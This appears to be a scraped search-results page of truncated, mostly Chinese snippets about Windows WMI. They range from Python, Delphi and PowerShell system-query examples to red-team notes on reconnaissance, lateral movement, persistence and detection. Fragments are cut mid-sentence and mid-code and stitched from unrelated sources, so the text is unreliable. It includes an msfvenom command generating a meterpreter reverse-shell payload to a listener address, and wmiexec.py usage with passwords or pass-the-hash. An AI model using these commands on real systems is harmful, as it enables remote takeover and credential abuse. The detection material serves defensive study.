########################################################### import os, sys import time import wmi...##################################### def get_memory_info(): tmpdict = {} c = wmi.WMI...CurrentUsage) return tmpdict if __name__ == "__main__": print get_memory_info() 其他python
模块会接受WMI方法的传入参数作为Python的关键字参数,并把传出参数作为一个元组进行返回。...WMI构造器允许你传入一个完整的别名,或者是指定你需要的那一部分。\ # 使用wmi.WMI.__init__的帮助文档可以找到更多相关内容。...logic_disk.Caption # Install a product # 安装一个产品 c.Win32_Product.Install( PackageLocation = 'E:\study\Python...\python-2.7.8.msi', AllUsers = False ) # Connect to another machine as a named user # 使用指定用户名连接另一台机器...", user="tim", password="secret" ) n = wmi.WMI(wmi=connection) # # Using wmi module at least 1.0rc3
/usr/bin/env python 2 # -*- coding: utf-8 -*- 3 #http://www.cnblogs.com/liu-ke/ 4 import wmi 5...import os 6 import sys 7 import platform 8 import time 9 10 def sys_version(): 11 c = wmi.WMI...系统是32位还是64位的 16 print sys.NumberOfProcesses #当前系统运行的进程总数 17 18 def cpu_mem(): 19 c = wmi.WMI...cpu.LoadPercentage) 34 time.sleep(5) 35 36 def disk(): 37 c = wmi.WMI...0.2f%% free" % (100.0 * long (disk.FreeSpace) / long (disk.Size)) 47 48 def network(): 49 c = wmi.WMI
使用WMI技术主要分为两个大的方面:1 获取信息;2 提供数据。其中“获取信息”需要WMI Classes(以后称为WMI类)。“提供数据”需要WMI Provider(以后称为WMI提供者)。...它包含两个模块:包含WMI Core(WMI核心)的WMI Service(WMI服务)(Winmgmt)和WMI Repository(WMI存储库)。 ...WMI存储库是通过WMI Namespace(WMI命名空间)组织起来的。...如果请求的是一个静态数据,WMI将从WMI存储库中查找数据并返回;如果请求的是一个动态数据,比如一个托管对象的当前内存情况,WMI服务将请求传递给已经在WMI服务中注册的相应的WMI提供者。...WMI提供者将数据返回给WMI服务,WMI服务再将结果返回给请求的应用。
1.信息收集当我们在拿到内网某一台机器权限时,第一时间要做的就是信息收集,WMI中的各种类为我们在内网信息收集方面提供了十分有利的条件,作为红队的我们可以利用如下WMI中各种类的子集来对目标进行全方面信息收集...4.WMI攻击检测WMI拥有极其强大的事件处理子系统,因在操作系统中所有的操作行为都可以触发WMI的事件,我们可以将WMI理解成是微软操作系统中自带的一个免费IDS(入侵流量检测),WMI的定位就是实时捕获攻击者的攻击操作...,那么我们利用WMI所产生的事件可进一步的判断是否是攻击者的操作,如下是攻击者常见的攻击利用手法,对VMI所触发产生的事件。...创建WMI类存储攻击者数,__ClassCreationEvent事件会被触发。...当攻击者安装恶意WMI提供程序时,⼀个Provider类的实例会被创建,InstanceCreationEvent事件会被触发。
Windows Management Instrumentation (WMI,Windows管理规范) 是Web-Based Enterprise Management (WBEM)的Windows实现...WMI是一项核心的Windows管理技术,WMI作为一种规范和基础结构,通过它可以访问、配置、管理和监视几乎所有的Windows资源,比如用户可以在远程计算机器上启动一个进程;设定一个在特定日期和时间运行的进程...Python扩展库wmi完美支持了WMI。首先使用pip命令安装该扩展库,如图: ? 然后编写Python程序,读取并显示BIOS信息: ? 代码运行结果: ?
1.WMI永久事件订阅组成(1)EventFilter(事件过滤器)EventFilter(事件过滤器)存储在一个ROOT\subscription:__EventFilter对象的实例里,其主要作用是使用...WMI的查询语言来过滤审核特定的事件,一个事件过滤器接受一个WMI事件查询参数,同时EventFilter事件过滤器可以对Intrinsic Events (内部事件)和Extrinsic Events...,一般情况下,WMI为存储在WMI存储库中的对象创建内部事件,提供程序为动态类生成内部事件,如果没有可用的提供程序,WMI将会为动态类创建一个实例,以下为WMI用于报告内部事件的系统类。...2)永久消费者类实例注册在WMI命名空间中,一直有效直至注销(永久性的WMI事件是持久性驻留的,并且以SYSTEM权限运行,重启后仍然还在),永久事件使用者一直运行到其注册被显式取消,然后在 WMI 或系统重新启动时启动...永久事件消费者是系统上WMI类、过滤器和COM对象的组合。
一.WMI远程交互当前,WMI支持两种远程交互的协议:DCOM协议和WinRm协议。...我们可以通过这两种协议对远程的机器进行对象查询、事件注册以及WMI类方法的执行等操作,攻击者要有效的利用WMI的两种远程交互协议则需要一定的特权用户凭证,因此大多数的安全厂家通常都不会对WMI这两种协议所传输的恶意内容以及恶意流量进行审查...,这就让攻击者对WMI这两种协议有了可利用的空间,那么,接下来给大家分别介绍WMI所支持的两种协议—DCOM协议和WinRm协议。...WinRM是基于Web服务管理规范(Web Services Management )所构建的一种基于SOAP的设备管理协议,它允许使用SOAP通过HTTP(S)远程管理Windows计算机,在后端其是利用了WMI...,我们也可以把它看作是一个基于HTTP的WMI API。
如图一:(1.gif) 在WMI 体系结构中我们最需要关心的就是WMI提供程序,WMI提供程序在WMI和托管资源之间扮演着中间方的角色。...提供程序代表使用者应用程序和脚本从WMI托 管资源请求信息,并发送指令到WMI托管资源。下面是我们利用WMI编程经常要用到的WMI内置提供程序清单,以供编程参考。...接着看python 中的WMI使用 是Tim Golden's 的WMI.PY,使用起来非常简单.下面的例子是摘自它自身提供的example import wmi c = wmi.WMI () for...Reboot a remote machine import wmi c = wmi.WMI (computer="other_machine", privileges=["RemoteShutdown...wmi python http://tgolden.sc.sabren.com/python/wmi.html wim cookbook http://tgolden.sc.sabren.com/python
在 PowerShell 可以很容易使用 WMI 拿到系统的信息,如果有关注我的网站,就会发现我写了很多通过 WMI 拿到系统的显卡,系统安装的软件等方法,本文告诉大家如果通过 PowerShell 拿到...WMI 类里面的属性 在 Windows 系统通过 Windows Management Instrumentation (WMI) 统一管理系统的配置,在 PowerShell 能使用 WMI 的功能进行获取系统...很少有人知道 WMI 里面包含了多少可以使用的类,包括我之前写的很多博客,实际上也只是里面的很少,通过下面的例子告诉大家如何获取设备里面包含的类 获取 WMI 类 在使用 WMI 之前需要知道 WMI...是能做什么的,这个方法能做的就是描述系统能被管理的资源,在系统里面包含了几百个类,一个类里面包含很多属性 通过 Get-WmiObject 可以找到设备里面所有可以被找到的 WMI 类 Get-WmiObject...} CSName Property string CSName {get;set;} // 还有很多属性 总结一下,获取一个 WMI
于是重新整理,有了这份,我认为精简版的WMI笔记。 WMI 背景 ---- WMI 是什么?...换句话说:Microsoft + CIM + WBEM +DMTF = WMI 打开MSDN 中关于WMI的描述是这样: Windows Management Instrumentation (WMI)...WMI Eventing ---- WMI 事件订阅是订阅某些系统事件的方法。...重点放在Permanent WMI Event Subscriptions上,永久的WMI 事件订阅存储在WMI repository,系统关键/重启之后任然存储着,并且,永久的WMI事件订阅是以System...msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.128 LPORT=4444 -f raw -o payload.bin python
/usr/bin/env python 2 # -*- coding: utf-8 -*- 3 #http://www.cnblogs.com/liu-ke/ 4 import wmi 5...import os 6 import sys 7 import platform 8 import time 9 10 def sys_version(): 11 c = wmi.WMI...系统是32位还是64位的 16 print sys.NumberOfProcesses #当前系统运行的进程总数 17 18 def cpu_mem(): 19 c = wmi.WMI...Capacity: %.fMB" %(int(Memory.Capacity)/1048576) 26 27 28 29 def disk(): 30 c = wmi.WMI...0.2f%% free" % (100.0 * long (disk.FreeSpace) / long (disk.Size)) 40 41 def network(): 42 c = wmi.WMI
Form1: TForm1; implementation function GetWMIProperty(WMIType, WMIProperty: string): string; var Wmi..., Objs, Obj: OleVariant; Enum: IEnumVariant; C: Cardinal; s:string; begin Wmi:= CreateOleObject...('WbemScripting.SWbemLocator'); Objs := Wmi.ConnectServer('.'...RPC_C_IMP_LEVEL_IMPERSONATE, nil, EOAC_NONE, nil)) then Exit; // Obtain the initial locator to WMI...CLSID_WbemLocator, nil, CLSCTX_INPROC_SERVER, IID_IWbemLocator, FWbemLocator)) then try // Connect to WMI
攻击检测 WMI攻击检测 谢公子学安全 讲在前面 作者:pingpig@深蓝攻防实验室 在前面的文章中我们讲了:WMI讲解(是什么,做什么,为什么) WMI利用(横向移动)...WMI利用(权限维持) 今天主要分享的是WMI攻击检测。...总之两点: 做好 WMI 连接的网络流量监控,一般不使用 WMI 的环境若出现了使用 WMI的情况,则内部网络可能已经被入侵。 做好进程监控,监测”wmic.exe“的命令行参数及其执行的命令。...WMI 方法。...若通过 WINRM 协议执行时,WMI 流量看起来像 HTTP,并且再次与通过 SVCCTL 接口时完全不同。这意味着 WMI技术可以有效地规避任何流量检测其横向移动的操作。
WMI介绍 WMI的全名为"Windows Management Instrumentation"。 从win98开始,Windows操作系统都支持WMI,WMI可以在本地或者远程管理计算机系统。...WMI常用命令 以下操作均在win7上执行。...: 4.2.1 有账号密码 如果有账号和密码的情况下: # python3 wmiexec.py 用户名:密码@目标IP python3 wmiexec.py administrator:Admin@...4.2.2 只有Hash的情况下 python3 wmiexec.py -hashes LM Hash:NT Hash 域名/用户名@目标IP // 哈希传递获得shell python3 wmiexec.py...总结 本文对WMI的基本用法做了一个归类,其中参考了众多师傅的文章,WMI的用法远不止于此,而且本文是未对存在杀软的环境进行分析,等以后有机会再去探讨吧。
WMI利用 (权限维持) 讲在前面 作者:pingpig@深蓝攻防实验室 在简单了解了WMI后,我们开始了横向移动,包括其中的信息收集,工具利用。...笔者看了国内外部分文章后,发现WMI做权限维持主要是介绍WMI事件,并将其分为永久事件和临时事件,本文参考部分博客文章对WMI事件进行讲解,不足之处,望及时指出。...相关文章:WMI讲解(是什么,做什么,为什么) WMI利用(横向移动) 什么是WMI事件 WMI事件,即特定对象的属性发生改变时发出的通知,其中包括增加、修改、删除三种类型。...通俗的可以说:WMI内部出现什么变化就由WMI事件来进行通知。...对于WMI事件的官方解释以及部分博客解释: · WMI事件通知 · 接收WMI事件 查询事件 列出事件过滤器 Get-WMIObject -Namespace root\Subscription -Class
WMI使用技巧集 很多的朋友对WMI可能见过但理解不深,我也是十分想了解关于WMI的知识,可一直找不运维...强烈推介IDEA2020.2破解激活,IntelliJ IDEA 注册码,2020.2 IDEA 激活码 WMI使用技巧集 很多的朋友对WMI可能见过但理解不深,我也是十分想了解关于WMI的知识,可一直找不对太合适的资料...url=/library/en- us/wmisdk/wmi/wmi_start_page.asp WMI使用说明(csdn): http://www.csdn.net/develop/article...WMI 为您提供与系统管理信息和基础 WMI API 交互的标准方法。WMI 主要由系统管理应用程序开发人员和管理员用来访问和操作系统管理信息。...WMI 结构由以下三层组成: " 客户端 使用 WMI 执行操作(例如,读取管理详细信息、配置系统和预订事件)的软件组件。
ManagementClass c = new ManagementClass("Win32_DiskQuota");
在《WMI技术介绍和应用——WMI概述》中介绍了我们可以使用C++、.net或者支持ActiveX技术的脚本语言来使用WMI。...但是各种语言对WMI的控制能力是不同的,比如脚本语言只能用来从WMI获取数据或者接收事件通知。而C++还可以编写WMI提供者和发送消息。...和脚本语言相比,C++对WMI有强大的控制和定制性,当然也具有更大的复杂性。本文将主要讲述使用VC如何搭建一个使用WMI的框架。...在《WMI技术介绍和应用——WMI概述》中我们提到,WMI中存在诸如root\default、root\cimv2等WMI命令空间。...工程源码见《WMI技术介绍和应用——WMI概述》结尾。
领取专属 10元无门槛券
手把手带您无忧上云